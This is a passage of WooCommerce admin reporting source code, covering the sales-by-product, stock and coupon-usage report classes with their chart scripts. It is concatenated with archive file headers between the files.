			<div class="chart-container">
				<p class="chart-prompt"><?php esc_html_e( 'Choose a category to view stats', 'woocommerce' ); ?></p>
			</div>
			<?php
		} else {
			$chart_data = array();
			$index      = 0;

			foreach ( $this->show_categories as $category ) {

				$category            = get_term( $category, 'product_cat' );
				$product_ids         = $this->get_products_in_category( $category->term_id );
				$category_chart_data = array();

				for ( $i = 0; $i <= $this->chart_interval; $i ++ ) {

					$interval_total = 0;

					switch ( $this->chart_groupby ) {
						case 'day':
							$time = strtotime( gmdate( 'Ymd', strtotime( "+{$i} DAY", $this->start_date ) ) ) * 1000;
							break;
						case 'month':
						default:
							$time = strtotime( gmdate( 'Ym', strtotime( "+{$i} MONTH", $this->start_date ) ) . '01' ) * 1000;
							break;
					}

					foreach ( $product_ids as $id ) {

						if ( isset( $this->item_sales_and_times[ $time ][ $id ] ) ) {
							$interval_total += $this->item_sales_and_times[ $time ][ $id ];
						}
					}

					$category_chart_data[] = array( $time, (float) wc_format_decimal( $interval_total, wc_get_price_decimals() ) );
				}

				$chart_data[ $category->term_id ]['category'] = $category->name;
				$chart_data[ $category->term_id ]['data']     = $category_chart_data;

				$index++;
			}
			?>
			<div class="chart-container">
				<div class="chart-placeholder main"></div>
			</div>
			<?php // @codingStandardsIgnoreStart ?>
			<script type="text/javascript">
				var main_chart;

				jQuery(function(){
					var drawGraph = function( highlight ) {
						var series = [
							<?php
								$index = 0;
								foreach ( $chart_data as $data ) {
									$color  = isset( $this->chart_colours[ $index ] ) ? $this->chart_colours[ $index ] : $this->chart_colours[0];
									$width  = $this->barwidth / sizeof( $chart_data );
									$offset = ( $width * $index );
									$series = $data['data'];

									foreach ( $series as $key => $series_data ) {
										$series[ $key ][0] = $series_data[0] + $offset;
									}

									$series = wp_json_encode( $series );

									echo '{
											label: "' . esc_js( $data['category'] ) . '",
											data: JSON.parse( decodeURIComponent( "' . rawurlencode( $series ) . '" ) ),
											color: "' . $color . '",
											bars: {
												fillColor: "' . $color . '",
												fill: true,
												show: true,
												lineWidth: 1,
												align: "center",
												barWidth: ' . $width * 0.75 . ',
												stack: false
											},
											' . $this->get_currency_tooltip() . ',
											enable_tooltip: true,
											prepend_label: true
										},';
									$index++;
								}
							?>
						];

						if ( highlight !== 'undefined' && series[ highlight ] ) {
							highlight_series = series[ highlight ];

							highlight_series.color = '#9c5d90';

							if ( highlight_series.bars ) {
								highlight_series.bars.fillColor = '#9c5d90';
							}

							if ( highlight_series.lines ) {
								highlight_series.lines.lineWidth = 5;
							}
						}

						main_chart = jQuery.plot(
							jQuery('.chart-placeholder.main'),
							series,
							{
								legend: {
									show: false
								},
								grid: {
									color: '#aaa',
									borderColor: 'transparent',
									borderWidth: 0,
									hoverable: true
								},
								xaxes: [ {
									color: '#aaa',
									reserveSpace: true,
									position: "bottom",
									tickColor: 'transparent',
									mode: "time",
									timeformat: "<?php echo ( 'day' === $this->chart_groupby ) ? '%d %b' : '%b'; ?>",
									monthNames: JSON.parse( decodeURIComponent( '<?php echo rawurlencode( wp_json_encode( array_values( $wp_locale->month_abbrev ) ) ); ?>' ) ),
									tickLength: 1,
									minTickSize: [1, "<?php echo $this->chart_groupby; ?>"],
									tickSize: [1, "<?php echo $this->chart_groupby; ?>"],
									font: {
										color: "#aaa"
									}
								} ],
								yaxes: [
									{
										min: 0,
										tickDecimals: 2,
										color: 'transparent',
										font: { color: "#aaa" }
									}
								],
							}
						);

						jQuery('.chart-placeholder').trigger( 'resize' );

					}

					drawGraph();

					jQuery('.highlight_series').on( 'mouseenter',
						function() {
							drawGraph( jQuery(this).data('series') );
						} ).on( 'mouseleave',
						function() {
							drawGraph();
						}
					);
				});
			</script>
			<?php // @codingStandardsIgnoreEnd ?>
			<?php
		}
	}
}
PK�3\�i�MQMQ,reports/class-wc-report-sales-by-product.phpnu�[���<?php
/**
 * Sales By Product Reporting
 *
 * @package WooCommerce\Admin\Reporting
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * WC_Report_Sales_By_Product
 *
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */
class WC_Report_Sales_By_Product extends WC_Admin_Report {

	/**
	 * Chart colors.
	 *
	 * @var array
	 */
	public $chart_colours = array();

	/**
	 * Product ids.
	 *
	 * @var array
	 */
	public $product_ids = array();

	/**
	 * Product ids with titles.
	 *
	 * @var array
	 */
	public $product_ids_titles = array();

	/**
	 * Constructor.
	 */
	public function __construct() {
		// @codingStandardsIgnoreStart
		if ( isset( $_GET['product_ids'] ) && is_array( $_GET['product_ids'] ) ) {
			$this->product_ids = array_filter( array_map( 'absint', $_GET['product_ids'] ) );
		} elseif ( isset( $_GET['product_ids'] ) ) {
			$this->product_ids = array_filter( array( absint( $_GET['product_ids'] ) ) );
		}
		// @codingStandardsIgnoreEnd
	}

	/**
	 * Get the legend for the main chart sidebar.
	 *
	 * @return array
	 */
	public function get_chart_legend() {

		if ( empty( $this->product_ids ) ) {
			return array();
		}

		$legend = array();

		$total_sales = $this->get_order_report_data(
			array(
				'data'         => array(
					'_line_total' => array(
						'type'            => 'order_item_meta',
						'order_item_type' => 'line_item',
						'function'        => 'SUM',
						'name'            => 'order_item_amount',
					),
				),
				'where_meta'   => array(
					'relation' => 'OR',
					array(
						'type'       => 'order_item_meta',
						'meta_key'   => array( '_product_id', '_variation_id' ), // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
						'meta_value' => $this->product_ids, // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value
						'operator'   => 'IN',
					),
				),
				'query_type'   => 'get_var',
				'filter_range' => true,
				'order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
			)
		);

		$total_items = absint(
			$this->get_order_report_data(
				array(
					'data'         => array(
						'_qty' => array(
							'type'            => 'order_item_meta',
							'order_item_type' => 'line_item',
							'function'        => 'SUM',
							'name'            => 'order_item_count',
						),
					),
					'where_meta'   => array(
						'relation' => 'OR',
						array(
							'type'       => 'order_item_meta',
							'meta_key'   => array( '_product_id', '_variation_id' ), // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
							'meta_value' => $this->product_ids, // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value
							'operator'   => 'IN',
						),
					),
					'query_type'   => 'get_var',
					'filter_range' => true,
					'order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
				)
			)
		);

		$legend[] = array(
			/* translators: %s: total items sold */
			'title'            => sprintf( __( '%s sales for the selected items', 'woocommerce' ), '<strong>' . wc_price( $total_sales ) . '</strong>' ),
			'color'            => $this->chart_colours['sales_amount'],
			'highlight_series' => 1,
		);

		$legend[] = array(
			/* translators: %s: total items purchased */
			'title'            => sprintf( __( '%s purchases for the selected items', 'woocommerce' ), '<strong>' . ( $total_items ) . '</strong>' ),
			'color'            => $this->chart_colours['item_count'],
			'highlight_series' => 0,
		);

		return $legend;
	}

	/**
	 * Output the report.
	 */
	public function output_report() {

		$ranges = array(
			'year'       => __( 'Year', 'woocommerce' ),
			'last_month' => __( 'Last month', 'woocommerce' ),
			'month'      => __( 'This month', 'woocommerce' ),
			'7day'       => __( 'Last 7 days', 'woocommerce' ),
		);

		$this->chart_colours = array(
			'sales_amount' => '#3498db',
			'item_count'   => '#d4d9dc',
		);

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : '7day'; //phpcs:ignore WordPress.Security.NonceVerification.Recommended

		if ( ! in_array( $current_range, array( 'custom', 'year', 'last_month', 'month', '7day' ), true ) ) {
			$current_range = '7day';
		}

		$this->check_current_range_nonce( $current_range );
		$this->calculate_current_range( $current_range );

		include WC()->plugin_path() . '/includes/admin/views/html-report-by-date.php';
	}

	/**
	 * Get chart widgets.
	 *
	 * @return array
	 */
	public function get_chart_widgets() {

		$widgets = array();

		if ( ! empty( $this->product_ids ) ) {
			$widgets[] = array(
				'title'    => __( 'Showing reports for:', 'woocommerce' ),
				'callback' => array( $this, 'current_filters' ),
			);
		}

		$widgets[] = array(
			'title'    => '',
			'callback' => array( $this, 'products_widget' ),
		);

		return $widgets;
	}

	/**
	 * Output current filters.
	 */
	public function current_filters() {

		$this->product_ids_titles = array();

		foreach ( $this->product_ids as $product_id ) {

			$product = wc_get_product( $product_id );

			if ( $product ) {
				$this->product_ids_titles[] = $product->get_formatted_name();
			} else {
				$this->product_ids_titles[] = '#' . $product_id;
			}
		}

		echo '<p><strong>' . wp_kses_post( implode( ', ', $this->product_ids_titles ) ) . '</strong></p>';
		echo '<p><a class="button" href="' . esc_url( remove_query_arg( 'product_ids' ) ) . '">' . esc_html__( 'Reset', 'woocommerce' ) . '</a></p>';
	}

	/**
	 * Output products widget.
	 */
	public function products_widget() {
		?>
		<h4 class="section_title"><span><?php esc_html_e( 'Product search', 'woocommerce' ); ?></span></h4>
		<div class="section">
			<form method="GET">
				<div>
					<?php // @codingStandardsIgnoreStart ?>
					<select class="wc-product-search" style="width:203px;" multiple="multiple" id="product_ids" name="product_ids[]" data-placeholder="<?php esc_attr_e( 'Search for a product&hellip;', 'woocommerce' ); ?>" data-action="woocommerce_json_search_products_and_variations"></select>
					<button type="submit" class="submit button" value="<?php esc_attr_e( 'Show', 'woocommerce' ); ?>"><?php esc_html_e( 'Show', 'woocommerce' ); ?></button>
					<input type="hidden" name="range" value="<?php echo ( ! empty( $_GET['range'] ) ) ? esc_attr( $_GET['range'] ) : ''; ?>" />
					<input type="hidden" name="start_date" value="<?php echo ( ! empty( $_GET['start_date'] ) ) ? esc_attr( $_GET['start_date'] ) : ''; ?>" />
					<input type="hidden" name="end_date" value="<?php echo ( ! empty( $_GET['end_date'] ) ) ? esc_attr( $_GET['end_date'] ) : ''; ?>" />
					<input type="hidden" name="page" value="<?php echo ( ! empty( $_GET['page'] ) ) ? esc_attr( $_GET['page'] ) : ''; ?>" />
					<input type="hidden" name="tab" value="<?php echo ( ! empty( $_GET['tab'] ) ) ? esc_attr( $_GET['tab'] ) : ''; ?>" />
					<input type="hidden" name="report" value="<?php echo ( ! empty( $_GET['report'] ) ) ? esc_attr( $_GET['report'] ) : ''; ?>" />
					<?php wp_nonce_field( 'custom_range', 'wc_reports_nonce', false ); ?>
					<?php // @codingStandardsIgnoreEnd ?>
				</div>
			</form>
		</div>
		<h4 class="section_title"><span><?php esc_html_e( 'Top sellers', 'woocommerce' ); ?></span></h4>
		<div class="section">
			<table cellspacing="0">
				<?php
				$top_sellers = $this->get_order_report_data(
					array(
						'data'         => array(
							'_product_id' => array(
								'type'            => 'order_item_meta',
								'order_item_type' => 'line_item',
								'function'        => '',
								'name'            => 'product_id',
							),
							'_qty'        => array(
								'type'            => 'order_item_meta',
								'order_item_type' => 'line_item',
								'function'        => 'SUM',
								'name'            => 'order_item_qty',
							),
						),
						'order_by'     => 'order_item_qty DESC',
						'group_by'     => 'product_id',
						'limit'        => 12,
						'query_type'   => 'get_results',
						'filter_range' => true,
						'order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
					)
				);

				if ( $top_sellers ) {
					// @codingStandardsIgnoreStart
					foreach ( $top_sellers as $product ) {
						echo '<tr class="' . ( in_array( $product->product_id, $this->product_ids ) ? 'active' : '' ) . '">
							<td class="count">' . esc_html( $product->order_item_qty ) . '</td>
							<td class="name"><a href="' . esc_url( add_query_arg( 'product_ids', $product->product_id ) ) . '">' . esc_html( get_the_title( $product->product_id ) ) . '</a></td>
							<td class="sparkline">' . $this->sales_sparkline( $product->product_id, 7, 'count' ) . '</td>
						</tr>';
					}
					// @codingStandardsIgnoreEnd
				} else {
					echo '<tr><td colspan="3">' . esc_html__( 'No products found in range', 'woocommerce' ) . '</td></tr>';
				}
				?>
			</table>
		</div>
		<h4 class="section_title"><span><?php esc_html_e( 'Top freebies', 'woocommerce' ); ?></span></h4>
		<div class="section">
			<table cellspacing="0">
				<?php
				$top_freebies = $this->get_order_report_data(
					array(
						'data'         => array(
							'_product_id' => array(
								'type'            => 'order_item_meta',
								'order_item_type' => 'line_item',
								'function'        => '',
								'name'            => 'product_id',
							),
							'_qty'        => array(
								'type'            => 'order_item_meta',
								'order_item_type' => 'line_item',
								'function'        => 'SUM',
								'name'            => 'order_item_qty',
							),
						),
						'where_meta'   => array(
							array(
								'type'       => 'order_item_meta',
								'meta_key'   => '_line_subtotal', // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
								'meta_value' => '0', // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value
								'operator'   => '=',
							),
						),
						'order_by'     => 'order_item_qty DESC',
						'group_by'     => 'product_id',
						'limit'        => 12,
						'query_type'   => 'get_results',
						'filter_range' => true,
					)
				);

				if ( $top_freebies ) {
					// @codingStandardsIgnoreStart
					foreach ( $top_freebies as $product ) {
						echo '<tr class="' . ( in_array( $product->product_id, $this->product_ids ) ? 'active' : '' ) . '">
							<td class="count">' . esc_html( $product->order_item_qty ) . '</td>
							<td class="name"><a href="' . esc_url( add_query_arg( 'product_ids', $product->product_id ) ) . '">' . esc_html( get_the_title( $product->product_id ) ) . '</a></td>
							<td class="sparkline">' . $this->sales_sparkline( $product->product_id, 7, 'count' ) . '</td>
						</tr>';
					}
					// @codingStandardsIgnoreEnd
				} else {
					echo '<tr><td colspan="3">' . esc_html__( 'No products found in range', 'woocommerce' ) . '</td></tr>';
				}
				?>
			</table>
		</div>
		<h4 class="section_title"><span><?php esc_html_e( 'Top earners', 'woocommerce' ); ?></span></h4>
		<div class="section">
			<table cellspacing="0">
				<?php
				$top_earners = $this->get_order_report_data(
					array(
						'data'         => array(
							'_product_id' => array(
								'type'            => 'order_item_meta',
								'order_item_type' => 'line_item',
								'function'        => '',
								'name'            => 'product_id',
							),
							'_line_total' => array(
								'type'            => 'order_item_meta',
								'order_item_type' => 'line_item',
								'function'        => 'SUM',
								'name'            => 'order_item_total',
							),
						),
						'order_by'     => 'order_item_total DESC',
						'group_by'     => 'product_id',
						'limit'        => 12,
						'query_type'   => 'get_results',
						'filter_range' => true,
						'order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
					)
				);

				if ( $top_earners ) {
					// @codingStandardsIgnoreStart
					foreach ( $top_earners as $product ) {
						echo '<tr class="' . ( in_array( $product->product_id, $this->product_ids ) ? 'active' : '' ) . '">
							<td class="count">' . wc_price( $product->order_item_total ) . '</td>
							<td class="name"><a href="' . esc_url( add_query_arg( 'product_ids', $product->product_id ) ) . '">' . esc_html( get_the_title( $product->product_id ) ) . '</a></td>
							<td class="sparkline">' . $this->sales_sparkline( $product->product_id, 7, 'sales' ) . '</td>
						</tr>';
					}
					// @codingStandardsIgnoreEnd
				} else {
					echo '<tr><td colspan="3">' . esc_html__( 'No products found in range', 'woocommerce' ) . '</td></tr>';
				}
				?>
			</table>
		</div>
		<script type="text/javascript">
			jQuery( '.section_title' ).on( 'click', function() {
				var next_section = jQuery( this ).next( '.section' );

				if ( jQuery( next_section ).is( ':visible' ) ) {
					return false;
				}

				jQuery( '.section:visible' ).slideUp();
				jQuery( '.section_title' ).removeClass( 'open' );
				jQuery( this ).addClass( 'open' ).next( '.section' ).slideDown();

				return false;
			} );
			jQuery( '.section' ).slideUp( 100, function() {
				<?php if ( empty( $this->product_ids ) ) : ?>
					jQuery( '.section_title:eq(1)' ).trigger( 'click' );
				<?php endif; ?>
			} );
		</script>
		<?php
	}

	/**
	 * Output an export link.
	 */
	public function get_export_button() {

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : '7day'; //phpcs:ignore WordPress.Security.NonceVerification.Recommended
		?>
		<a
			href="#"
			download="report-<?php echo esc_attr( $current_range ); ?>-<?php echo esc_html( date_i18n( 'Y-m-d', current_time( 'timestamp' ) ) ); ?>.csv"
			class="export_csv"
			data-export="chart"
			data-xaxes="<?php esc_attr_e( 'Date', 'woocommerce' ); ?>"
			data-groupby="<?php echo $this->chart_groupby; ?>"<?php // @codingStandardsIgnoreLine ?>
		>
			<?php esc_html_e( 'Export CSV', 'woocommerce' ); ?>
		</a>
		<?php
	}

	/**
	 * Get the main chart.
	 */
	public function get_main_chart() {
		global $wp_locale;

		if ( empty( $this->product_ids ) ) {
			?>
			<div class="chart-container">
				<p class="chart-prompt"><?php esc_html_e( 'Choose a product to view stats', 'woocommerce' ); ?></p>
			</div>
			<?php
		} else {
			// Get orders and dates in range - we want the SUM of order totals, COUNT of order items, COUNT of orders, and the date.
			$order_item_counts = $this->get_order_report_data(
				array(
					'data'         => array(
						'_qty'        => array(
							'type'            => 'order_item_meta',
							'order_item_type' => 'line_item',
							'function'        => 'SUM',
							'name'            => 'order_item_count',
						),
						'post_date'   => array(
							'type'     => 'post_data',
							'function' => '',
							'name'     => 'post_date',
						),
						'_product_id' => array(
							'type'            => 'order_item_meta',
							'order_item_type' => 'line_item',
							'function'        => '',
							'name'            => 'product_id',
						),
					),
					'where_meta'   => array(
						'relation' => 'OR',
						array(
							'type'       => 'order_item_meta',
							'meta_key'   => array( '_product_id', '_variation_id' ), // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
							'meta_value' => $this->product_ids, // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value
							'operator'   => 'IN',
						),
					),
					'group_by'     => 'product_id,' . $this->group_by_query,
					'order_by'     => 'post_date ASC',
					'query_type'   => 'get_results',
					'filter_range' => true,
					'order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
				)
			);

			$order_item_amounts = $this->get_order_report_data(
				array(
					'data'         => array(
						'_line_total' => array(
							'type'            => 'order_item_meta',
							'order_item_type' => 'line_item',
							'function'        => 'SUM',
							'name'            => 'order_item_amount',
						),
						'post_date'   => array(
							'type'     => 'post_data',
							'function' => '',
							'name'     => 'post_date',
						),
						'_product_id' => array(
							'type'            => 'order_item_meta',
							'order_item_type' => 'line_item',
							'function'        => '',
							'name'            => 'product_id',
						),
					),
					'where_meta'   => array(
						'relation' => 'OR',
						array(
							'type'       => 'order_item_meta',
							'meta_key'   => array( '_product_id', '_variation_id' ), // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key
							'meta_value' => $this->product_ids, // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value
							'operator'   => 'IN',
						),
					),
					'group_by'     => 'product_id, ' . $this->group_by_query,
					'order_by'     => 'post_date ASC',
					'query_type'   => 'get_results',
					'filter_range' => true,
					'order_status' => array( 'completed', 'processing', 'on-hold', 'refunded' ),
				)
			);

			// Prepare data for report.
			$order_item_counts  = $this->prepare_chart_data( $order_item_counts, 'post_date', 'order_item_count', $this->chart_interval, $this->start_date, $this->chart_groupby );
			$order_item_amounts = $this->prepare_chart_data( $order_item_amounts, 'post_date', 'order_item_amount', $this->chart_interval, $this->start_date, $this->chart_groupby );

			// Encode in json format.
			$chart_data = wp_json_encode(
				array(
					'order_item_counts'  => array_values( $order_item_counts ),
					'order_item_amounts' => array_values( $order_item_amounts ),
				)
			);
			?>
			<div class="chart-container">
				<div class="chart-placeholder main"></div>
			</div>
			<?php // @codingStandardsIgnoreStart ?>
			<script type="text/javascript">
				var main_chart;

				jQuery(function(){
					var order_data = JSON.parse( decodeURIComponent( '<?php echo rawurlencode( $chart_data ); ?>' ) );

					var drawGraph = function( highlight ) {

						var series = [
							{
								label: "<?php echo esc_js( __( 'Number of items sold', 'woocommerce' ) ) ?>",
								data: order_data.order_item_counts,
								color: '<?php echo $this->chart_colours['item_count']; ?>',
								bars: { fillColor: '<?php echo $this->chart_colours['item_count']; ?>', fill: true, show: true, lineWidth: 0, barWidth: <?php echo $this->barwidth; ?> * 0.5, align: 'center' },
								shadowSize: 0,
								hoverable: false
							},
							{
								label: "<?php echo esc_js( __( 'Sales amount', 'woocommerce' ) ) ?>",
								data: order_data.order_item_amounts,
								yaxis: 2,
								color: '<?php echo $this->chart_colours['sales_amount']; ?>',
								points: { show: true, radius: 5, lineWidth: 3, fillColor: '#fff', fill: true },
								lines: { show: true, lineWidth: 4, fill: false },
								shadowSize: 0,
								<?php echo $this->get_currency_tooltip(); ?>
							}
						];

						if ( highlight !== 'undefined' && series[ highlight ] ) {
							highlight_series = series[ highlight ];

							highlight_series.color = '#9c5d90';

							if ( highlight_series.bars )
								highlight_series.bars.fillColor = '#9c5d90';

							if ( highlight_series.lines ) {
								highlight_series.lines.lineWidth = 5;
							}
						}

						main_chart = jQuery.plot(
							jQuery('.chart-placeholder.main'),
							series,
							{
								legend: {
									show: false
								},
								grid: {
									color: '#aaa',
									borderColor: 'transparent',
									borderWidth: 0,
									hoverable: true
								},
								xaxes: [ {
									color: '#aaa',
									position: "bottom",
									tickColor: 'transparent',
									mode: "time",
									timeformat: "<?php echo ( 'day' === $this->chart_groupby ) ? '%d %b' : '%b'; ?>",
									monthNames: JSON.parse( decodeURIComponent( '<?php echo rawurlencode( wp_json_encode( array_values( $wp_locale->month_abbrev ) ) ); ?>' ) ),
									tickLength: 1,
									minTickSize: [1, "<?php echo $this->chart_groupby; ?>"],
									font: {
										color: "#aaa"
									}
								} ],
								yaxes: [
									{
										min: 0,
										minTickSize: 1,
										tickDecimals: 0,
										color: '#ecf0f1',
										font: { color: "#aaa" }
									},
									{
										position: "right",
										min: 0,
										tickDecimals: 2,
										alignTicksWithAxis: 1,
										color: 'transparent',
										font: { color: "#aaa" }
									}
								],
							}
						);

						jQuery('.chart-placeholder').trigger( 'resize' );
					}

					drawGraph();

					jQuery('.highlight_series').on( 'mouseenter',
						function() {
							drawGraph( jQuery(this).data('series') );
						} ).on( 'mouseleave',
						function() {
							drawGraph();
						}
					);
				});
			</script>
			<?php
			// @codingStandardsIgnoreEnd
		}
	}
}
PK�3\��`�!reports/class-wc-report-stock.phpnu�[���<?php

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}

/**
 * WC_Report_Stock.
 *
 * @author      WooThemes
 * @category    Admin
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */
class WC_Report_Stock extends WP_List_Table {

	/**
	 * Max items.
	 *
	 * @var int
	 */
	protected $max_items;

	/**
	 * Constructor.
	 */
	public function __construct() {

		parent::__construct(
			array(
				'singular' => 'stock',
				'plural'   => 'stock',
				'ajax'     => false,
			)
		);
	}

	/**
	 * No items found text.
	 */
	public function no_items() {
		_e( 'No products found.', 'woocommerce' );
	}

	/**
	 * Don't need this.
	 *
	 * @param string $position
	 */
	public function display_tablenav( $position ) {

		if ( 'top' !== $position ) {
			parent::display_tablenav( $position );
		}
	}

	/**
	 * Output the report.
	 */
	public function output_report() {

		$this->prepare_items();
		echo '<div id="poststuff" class="woocommerce-reports-wide">';
		$this->display();
		echo '</div>';
	}

	/**
	 * Get column value.
	 *
	 * @param mixed  $item
	 * @param string $column_name
	 */
	public function column_default( $item, $column_name ) {
		global $product;

		if ( ! $product || $product->get_id() !== $item->id ) {
			$product = wc_get_product( $item->id );
		}

		if ( ! $product ) {
			return;
		}

		switch ( $column_name ) {

			case 'product':
				if ( $sku = $product->get_sku() ) {
					echo esc_html( $sku ) . ' - ';
				}

				echo esc_html( $product->get_name() );

				// Get variation data.
				if ( $product->is_type( 'variation' ) ) {
					echo '<div class="description">' . wp_kses_post( wc_get_formatted_variation( $product, true ) ) . '</div>';
				}
				break;

			case 'parent':
				if ( $item->parent ) {
					echo esc_html( get_the_title( $item->parent ) );
				} else {
					echo '-';
				}
				break;

			case 'stock_status':
				if ( $product->is_on_backorder() ) {
					$stock_html = '<mark class="onbackorder">' . __( 'On backorder', 'woocommerce' ) . '</mark>';
				} elseif ( $product->is_in_stock() ) {
					$stock_html = '<mark class="instock">' . __( 'In stock', 'woocommerce' ) . '</mark>';
				} else {
					$stock_html = '<mark class="outofstock">' . __( 'Out of stock', 'woocommerce' ) . '</mark>';
				}
				echo apply_filters( 'woocommerce_admin_stock_html', $stock_html, $product );
				break;

			case 'stock_level':
				echo esc_html( $product->get_stock_quantity() );
				break;

			case 'wc_actions':
				?><p>
					<?php
					$actions   = array();
					$action_id = $product->is_type( 'variation' ) ? $item->parent : $item->id;

					$actions['edit'] = array(
						'url'    => admin_url( 'post.php?post=' . $action_id . '&action=edit' ),
						'name'   => __( 'Edit', 'woocommerce' ),
						'action' => 'edit',
					);

					if ( $product->is_visible() ) {
						$actions['view'] = array(
							'url'    => get_permalink( $action_id ),
							'name'   => __( 'View', 'woocommerce' ),
							'action' => 'view',
						);
					}

					$actions = apply_filters( 'woocommerce_admin_stock_report_product_actions', $actions, $product );

					foreach ( $actions as $action ) {
						printf(
							'<a class="button tips %1$s" href="%2$s" data-tip="%3$s">%4$s</a>',
							esc_attr( $action['action'] ),
							esc_url( $action['url'] ),
							sprintf( esc_attr__( '%s product', 'woocommerce' ), $action['name'] ),
							esc_html( $action['name'] )
						);
					}
					?>
				</p>
				<?php
				break;
		}
	}

	/**
	 * Get columns.
	 *
	 * @return array
	 */
	public function get_columns() {

		$columns = array(
			'product'      => __( 'Product', 'woocommerce' ),
			'parent'       => __( 'Parent', 'woocommerce' ),
			'stock_level'  => __( 'Units in stock', 'woocommerce' ),
			'stock_status' => __( 'Stock status', 'woocommerce' ),
			'wc_actions'   => __( 'Actions', 'woocommerce' ),
		);

		return $columns;
	}

	/**
	 * Prepare customer list items.
	 */
	public function prepare_items() {

		$this->_column_headers = array( $this->get_columns(), array(), $this->get_sortable_columns() );
		$current_page          = absint( $this->get_pagenum() );
		$per_page              = apply_filters( 'woocommerce_admin_stock_report_products_per_page', 20 );

		$this->get_items( $current_page, $per_page );

		/**
		 * Pagination.
		 */
		$this->set_pagination_args(
			array(
				'total_items' => $this->max_items,
				'per_page'    => $per_page,
				'total_pages' => ceil( $this->max_items / $per_page ),
			)
		);
	}
}
PK�3\W�,
�E�E(reports/class-wc-report-coupon-usage.phpnu�[���<?php
/**
 * Coupon usage report functionality
 *
 * @package WooCommerce\Admin\Reports
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * WC_Report_Coupon_Usage
 *
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */
class WC_Report_Coupon_Usage extends WC_Admin_Report {

	/**
	 * Chart colors.
	 *
	 * @var array
	 */
	public $chart_colours = array();

	/**
	 * Coupon codes.
	 *
	 * @var array
	 */
	public $coupon_codes = array();

	/**
	 * Constructor.
	 */
	public function __construct() {
		if ( isset( $_GET['coupon_codes'] ) && is_array( $_GET['coupon_codes'] ) ) {
			$this->coupon_codes = array_filter( array_map( 'sanitize_text_field', wp_unslash( $_GET['coupon_codes'] ) ) );
		} elseif ( isset( $_GET['coupon_codes'] ) ) {
			$this->coupon_codes = array_filter( array( sanitize_text_field( wp_unslash( $_GET['coupon_codes'] ) ) ) );
		}
	}

	/**
	 * Get the legend for the main chart sidebar.
	 *
	 * @return array
	 */
	public function get_chart_legend() {
		$legend = array();

		$total_discount_query = array(
			'data'         => array(
				'discount_amount' => array(
					'type'            => 'order_item_meta',
					'order_item_type' => 'coupon',
					'function'        => 'SUM',
					'name'            => 'discount_amount',
				),
			),
			'where'        => array(
				array(
					'key'      => 'order_item_type',
					'value'    => 'coupon',
					'operator' => '=',
				),
			),
			'query_type'   => 'get_var',
			'filter_range' => true,
			'order_types'  => wc_get_order_types( 'order-count' ),
		);

		$total_coupons_query = array(
			'data'         => array(
				'order_item_id' => array(
					'type'            => 'order_item',
					'order_item_type' => 'coupon',
					'function'        => 'COUNT',
					'name'            => 'order_coupon_count',
				),
			),
			'where'        => array(
				array(
					'key'      => 'order_item_type',
					'value'    => 'coupon',
					'operator' => '=',
				),
			),
			'query_type'   => 'get_var',
			'filter_range' => true,
			'order_types'  => wc_get_order_types( 'order-count' ),
		);

		if ( ! empty( $this->coupon_codes ) ) {
			$coupon_code_query = array(
				'type'     => 'order_item',
				'key'      => 'order_item_name',
				'value'    => $this->coupon_codes,
				'operator' => 'IN',
			);

			$total_discount_query['where'][] = $coupon_code_query;
			$total_coupons_query['where'][]  = $coupon_code_query;
		}

		$total_discount = $this->get_order_report_data( $total_discount_query );
		$total_coupons  = absint( $this->get_order_report_data( $total_coupons_query ) );

		$legend[] = array(
			/* translators: %s: discount amount */
			'title'            => sprintf( __( '%s discounts in total', 'woocommerce' ), '<strong>' . wc_price( $total_discount ) . '</strong>' ),
			'color'            => $this->chart_colours['discount_amount'],
			'highlight_series' => 1,
		);

		$legend[] = array(
			/* translators: %s: coupons amount */
			'title'            => sprintf( __( '%s coupons used in total', 'woocommerce' ), '<strong>' . $total_coupons . '</strong>' ),
			'color'            => $this->chart_colours['coupon_count'],
			'highlight_series' => 0,
		);

		return $legend;
	}

	/**
	 * Output the report.
	 */
	public function output_report() {

		$ranges = array(
			'year'       => __( 'Year', 'woocommerce' ),
			'last_month' => __( 'Last month', 'woocommerce' ),
			'month'      => __( 'This month', 'woocommerce' ),
			'7day'       => __( 'Last 7 days', 'woocommerce' ),
		);

		$this->chart_colours = array(
			'discount_amount' => '#3498db',
			'coupon_count'    => '#d4d9dc',
		);

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : '7day';

		if ( ! in_array( $current_range, array( 'custom', 'year', 'last_month', 'month', '7day' ) ) ) {
			$current_range = '7day';
		}

		$this->check_current_range_nonce( $current_range );
		$this->calculate_current_range( $current_range );

		include WC()->plugin_path() . '/includes/admin/views/html-report-by-date.php';
	}

	/**
	 * Get chart widgets.
	 *
	 * @return array
	 */
	public function get_chart_widgets() {
		$widgets = array();

		$widgets[] = array(
			'title'    => '',
